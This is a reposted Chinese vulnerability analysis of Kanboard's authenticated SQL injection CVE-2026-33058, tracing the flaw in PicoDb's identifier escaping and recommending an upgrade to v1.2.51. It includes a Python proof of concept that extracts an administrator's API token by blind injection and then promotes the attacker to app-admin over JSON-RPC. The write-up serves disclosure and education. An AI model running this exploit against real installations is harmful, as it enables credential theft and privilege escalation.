文章总结: 本文详述了Kanboard的SQL注入漏洞CVE-2026-33058,源于底层PicoDb库标识符转义逻辑缺陷,允许攻击者绕过转义实施注入。攻击者利用项目权限管理接口,结合盲注窃取管理员API令牌实现权限提升。文章完整展示了从代码审计、漏洞定位到PoC编写的全过程,并给出了升级至v1.2.51版本的修复建议,强调了查询构建器安全性的重要。 综合评分: 95 文章分类: 漏洞分析,代码审计,漏洞POC,WEB安全
一次从代码审计到利用:Kanboard SQL注入漏洞(CVE-2026-33058)分析
幻泉之洲
2026年3月25日 10:02 北京
Kanboard项目权限管理功能中存在一个经过身份验证的SQL注入漏洞(CVE-2026-33058),影响版本v1.2.50及之前。漏洞根源于其ORM组件PicoDb中标识符转义逻辑的缺陷,允许攻击者通过特定参数注入恶意SQL,导致任意用户API令牌泄露,最终可能实现权限提升。
周末想找点事做,就随手翻了翻Kanboard(一个流行的PHP项目管理工具)的代码,想看看它怎么和数据库打交道的。没想到喝了两杯咖啡的功夫,还真让我挖出一个洞来,还是个需要登录才能利用的SQL注入。漏洞编号是CVE-2026-33058,影响v1.2.50及之前的版本。
漏洞概述
CVE-2026-33058是一个发生在Kanboard项目权限管理模块中的经过身份验证的SQL注入漏洞。攻击者需要具备向项目添加用户的权限(通常是项目经理角色)。成功利用后,攻击者可以窃取管理员的API访问令牌,进而修改自身或他人权限,升级为应用程序管理员。
技术原理分析
漏洞的根源不在Kanboard业务逻辑本身,而是在它底层依赖的PicoDb库,这是个作者自己写的“极简数据库查询构建器”。问题就出在标识符转义时的一个疏忽上。
我习惯从控制器开始跟。随便找了个app/Controller/*.php里的文件,一路跟到模型层app/Model/*.php。模型方法长得都差不多,用链式调用构建查询:
/** * 获取指定项目和状态的所有任务 * * @access public * @param integer $project_id 项目ID * @param integer $status_id 状态ID * @return array */ public function getAll($project_id, $status_id = TaskModel::STATUS_OPEN) { return $this->db ->table(TaskModel::TABLE) ->eq(TaskModel::TABLE.’.project_id’, $project_id) ->eq(TaskModel::TABLE.’.is_active’, $status_id) ->asc(TaskModel::TABLE.’.id’) ->findAll(); }
继续顺着$this->db往里追,找到了核心文件libs/picodb/lib/PicoDb/Database.php。它内部用到了PDO::prepare和PDOStatement::bindParam,看上去做了参数化查询,按理说能防注入。但问题不在这。
关键在Table::findAll()这类最终执行查询的方法里。在真正执行前,它会先构建SQL查询字符串:
public function buildSelectQuery() { return trim(sprintf( ‘SELECT %s %s FROM %s %s %s %s %s %s %s %s’, $this->sqlTop, $this->sqlSelect, $this->db->escapeIdentifier($this->name), implode(‘ ‘, $this->joins), $this->conditionBuilder->build(), empty($this->groupBy) ? ” : ‘GROUP BY ‘.implode(‘, ‘, $this->groupBy), $this->sqlOrder, $this->sqlLimit, $this->sqlOffset, $this->sqlFetch )); }
注意里面的$this->db->escapeIdentifier($this->name)和后面$this->conditionBuilder->build()。我立刻去看了escapeIdentifier这个方法,它的逻辑让我有点意外:
public function escapeIdentifier($value, $table = ”) { // 不转义自定义查询 if (strpos($value, ‘.’) !== false || strpos($value, ‘ ‘) !== false) { return $value; } // 避免潜在的SQL注入 if (preg_match(‘/^[a-z0-9_]+$/’, $value) === 0) { throw new SQLException(‘Invalid identifier: ‘.$value); } if (! empty($table)) { return $this->driver->escape($table).’.’.$this->driver->escape($value); } return $this->driver->escape($value); }
看明白了吗?如果传入的$value包含点号(.)或者空格,这个方法直接就把原始值返回了,后续的转义和正则检查全部跳过。这简直就是在“帮”攻击者绕过转义。
那么问题来了,用户输入能流进这个escapeIdentifier方法吗?我回头看链式调用里的eq()方法,它是构建“等于”条件的主要方法:
public function eq($column, $value) { $this->addCondition($this->db->escapeIdentifier($column).’ = ?’); $this->values[] = $value; }
看,$column参数直接喂给了escapeIdentifier。如果攻击者能控制$column,而这个值里又恰好有个空格或者点,转义就形同虚设了。$column会原封不动地成为查询字符串的一部分,然后才和占位符?以及后续绑定好的$value一起传给PDO::prepare。这时注入就已经完成了。
寻找利用点
理清了逻辑,下一步就是在整个代码里找哪里可能把用户输入传给eq()的第一个参数。我用正则搜了一下:
rg -A 10 -B 10 '\->(eq|...)\\(\s*\\$' app/Model
很快就找到了一个完美的利用链:ProjectPermissionController::addUser()。
这个控制器方法接收用户提交的表单数据,其中包含external_id_column参数。如果user_id为空但external_id和external_id_column有值,它会调用一个模型方法:
public function getOrCreateExternalUserId($username, $name, $externalIdColumn, $externalId) { $userId = $this->db->table(self::TABLE)->eq($externalIdColumn, $externalId)->findOneColumn(‘id’); … }
看,用户控制的$externalIdColumn被直接作为eq()的第一个参数传了进去。攻击路径通了。
验证与利用
我搭了个Docker环境来验证。为了看清最终构造的SQL,我在StatementHandler::execute()里加了行print_r($this->sql)。
先用一个普通字符串测试,比如“xxxxxxxxxxxxxx”。打印出来的SQL是这样的:
SELECT “users”.”id” FROM “users” WHERE “xxxxxxxxxxxxxx” = ? LIMIT 1
很正常,escapeIdentifier用双引号把它包起来了,因为字符串不包含空格或点。
然后我试着在external_id_column里加了个空格。结果让人满意:
SELECT “users”.”id” FROM “users” WHERE (SELECT OH NOES!!!11);– – = ? LIMIT 1
SQL里的占位符已经被注释掉了,我们的恶意SQL片段成功注入。
概念验证(PoC)
理论上能注入,就得写个能实际利用的脚本才算完整。我的PoC思路分两步:
- 利用基于布尔值的盲注,从数据库中窃取管理员用户的API访问令牌。这个令牌是长度为60的十六进制字符串。
- 使用窃取到的API令牌,通过Kanboard的JSON-RPC接口修改攻击者自身的用户角色,提升为
app-admin。
以下脚本仅用于安全研究和授权测试,请勿用于非法用途。
import string import bs4 import argparse import requests
def main(args): base_url = args.url.rstrip(“/”) … def send_sqli(payload: str) -> bool: response = session.post( f”{base_url}/?controller=ProjectPermissionController&action=addUser&project_id={args.project_id}”, data={ “csrf_token”: csrf, “user_id”: “”, “username”: “dummy”, “external_id”: “dummy”, “external_id_column”: payload, # 注入点 “name”: “dummy”, “role”: “dummy”, }, allow_redirects=False, ) return response.status_code == 302
print(f”Looking for API key for {args.victim_username}…”) chars = [] for idx in range(1, 61): # api_access_token长度为60字符,小写十六进制 for c in string.hexdigits[:-6]: response = send_sqli( f”(CASE WHEN (SELECT SUBSTR(api_access_token, {idx}, 1)='{c}’ FROM users WHERE username = ‘{args.victim_username}’ LIMIT 1) THEN ‘dummy’ ELSE NULL END)” ) if response: chars.append(c) break api_key = “”.join(chars) print(f”Found {args.victim_username}’s API key: {api_key}”)
print(f”Adding user {args.user_id} to admins…”) requests.post( f”{base_url}/jsonrpc.php”, auth=(args.victim_username, api_key), json={ “jsonrpc”: “2.0”, “method”: “updateUser”, “id”: 322123657, “params”: {“id”: args.user_id, “role”: “app-admin”}, }, ) …
影响范围与修复
漏洞影响Kanboard <= v1.2.50的所有版本。
修复其实很简单,根本不用动业务代码。问题出在PicoDb库的escapeIdentifier方法。只要删掉那个“遇到空格或点就原样返回”的早期返回逻辑,确保所有用户提供的标识符都经过正则检查或正确转义就行。开发者在v1.2.51版本中已经修复了这个问题。
如果你是Kanboard用户,最简单的办法就是立刻升级到v1.2.51或更高版本。
时间线:
- 2026-02-14:识别并报告漏洞
- 2026-02-16:报告被作者接受
- 2026-03-07:Kanboard发布补丁版本v1.2.51
- 2026-03-18:CVE-2026-33058发布
一次从代码逻辑追查到实际利用的完整过程就到这里了。说到底,这次漏洞的教训是,即使底层用了参数化查询,如果构建查询字符串的过程中转义不当,危险依然存在。自定义的“极简”轮子,有时反而藏着大坑。
参考资料
[1] https://0dave.ch/posts/cve-2026-33058/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:幻泉之洲 《一次从代码审计到利用:Kanboard SQL注入漏洞(CVE-2026-33058)分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论